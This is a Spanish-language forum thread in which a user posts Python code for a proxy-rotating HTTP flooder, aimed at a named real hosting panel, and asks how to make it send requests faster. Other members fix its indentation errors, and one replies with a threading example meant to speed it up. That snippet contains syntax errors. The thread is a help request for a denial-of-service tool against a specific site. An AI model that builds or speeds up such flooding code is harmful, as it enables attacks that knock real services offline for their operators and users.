como podria programar esto en Python 3? (Modulo requests)

Iniciado por aprendiendohacking2020, 26 Octubre 2019, 17:18 PM

0 Miembros y 1 Visitante están viendo este tema.

aprendiendohacking2020

Cita de: kub0x en 26 Octubre 2019, 20:08 PM
No sé de Python pero estoy viendo que obtienes un IdentationError y puede ser que en el While True las sentencias que van abajo del mismo no están identadas correctamente, hay doble tabulador cuando deberia ser 1 solo.

estamos iguales amigo, basicamente de python tampoco entiendo, por eso pedia una breve ayuda

MCKSys Argentina

El IDE que usas te lo dice perfectamente: tienes un error de indentación en esa linea.

Por tu imagen, parece que le pusiste un espacio demás al inicio.

Es recomendable que hagas un curso desde cero en python. Usa el buscador del foro o Google (o Bing o DuckDuckGo o lo que sea) para hallar uno.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


engel lex

#12
la linea 19 tiene un espacio extra antes de la r

por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como

lines = None

por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia

en la linea 15,  no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines

no entendi el objetivo en tu linea 18
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

aprendiendohacking2020

Cita de: engel lex en 27 Octubre 2019, 00:04 AM
la linea 19 tiene un espacio extra antes de la r

por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como

lines = None

por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia

en la linea 15,  no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines

no entendi el objetivo en tu linea 18

Hola disculpa que te moleste de nuevo, estoy empezando a entender python, pero tengo una consulta, tengo este codigo que acabo de crear

url = 'https://panel.brighthost.cl'
proxy_file = 'files/proxy.txt'
proto = ''
ips = []

with open(proxy_file) as proxy:
        ips = [row.rstrip() for row in proxy]
           

while True:
        proxy = {proto: random.choice(ips)}
        req_u = requests.get(url, proxies=proxy)
        print(f'PETICION ESTADO: {req_u.status_code}, PROXY {proxy}')
        cf_cookie = req_u.cookies['__cfduid']
        cookies = dict(cookies_are=cf_cookie)
        r = requests.get(url, proxies=proxy, cookies=cookies)


Aca tambien dejo una foto



basicamente el funcionamiento es que dentro cuando ejecutas el script recorre la lista de los proxys y los guarda en un array, luego se mete en un bucle infiniito donde envia una primer peticion get y obtiene el cookie de cloudflare en este caso las cookies de cloudflare siempre suelen empezar con el nombre __cfduid

despues de eso guarda la cookie y su contenido en la variable cookies y por ultimo envia una segunda peticion GET con el mismo proxy y la cookie Asignada..


Ahora bien, basicamente supongo que te daras cuenta a lo que quiero llegar, lo que estoy haciendo o quiero lograr es un HTTP flodder, el prolema de esto es que el ciclo es demasiado lento, es decir, envia las peticiones 1 cada 1-2 segundos.. y no es suficiente la rapidez, nesesito auncrementar la velocidad del ciclo para que se repita mucho mas rapido, no se como podre lograr esto si tendre que hacerlo en un while o dentro de otra funcion.. pero basicamente quiero este mismo proceso pero mucho mas rapido.. vos me podras dar un ejemplo de como podria hacerlo?


Gracias

engel lex

quieres correr antes de aprender a caminar... lo que buscas se llama ejecución multi hilo (multi thread)

de antemano te digo, cloudflare conoce mas proxys publicos que tu y es capaz de aguantar ataques de centenas de GBps (incluso si vez los temas relacionados, este foro soporta ataques en el orden de los GBps sin problemas)

ojo que hay un monton de cositas relacionadas para entender los errores que tendrás pero basicamente va así

Código (python) [Seleccionar]
import threading
import time


def imprimir_mensaje(msg):
  time.sleep(1)
  print(msg)

mensajes = ["hola", "mundo", "otra cosa", "otro mas"]

for mensaje in mensajes:
  threading.Thread(target=imprimir_mensaje, args=(mensaje,).start()

print("mensajes enviados"




El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.